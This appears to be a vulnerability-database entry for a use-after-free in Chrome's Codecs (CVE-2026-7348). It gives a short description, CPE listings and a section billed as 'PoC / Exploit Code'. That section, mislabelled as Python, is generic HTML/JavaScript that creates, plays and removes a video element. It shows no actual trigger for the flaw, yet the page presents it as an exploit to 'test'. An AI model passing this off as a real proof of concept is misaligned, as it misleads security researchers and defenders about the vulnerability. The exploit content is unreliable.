Use after free in Codecs in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-7348
This demonstrates a potential trigger for UAF in Chrome Codecs.
-->
<html>
<head>
<script>
function trigger_vuln() {
// Create a media element to interact with Codecs
var v = document.createElement('video');
v.src = 'test.mp4'; // Local or remote media file
document.body.appendChild(v);
// Attempt to trigger the UAF condition
// Specific timing and state changes are usually required
v.play();
// Force a state that might lead to object destruction
// but retain a reference
v.onended = function() {
// Simulate use-after-free scenario
// Accessing properties after potential cleanup
console.log(v.duration);
};
// Remove element to attempt forcing cleanup while logic runs
setTimeout(function() {
v.remove();
// Further interaction with the freed object context
}, 100);
}
// Requires user interaction as per CVSS vector UI:R
document.addEventListener('click', trigger_vuln);
</script>
<body>
<p>Click anywhere to test the exploit.</p>
</body>
</html>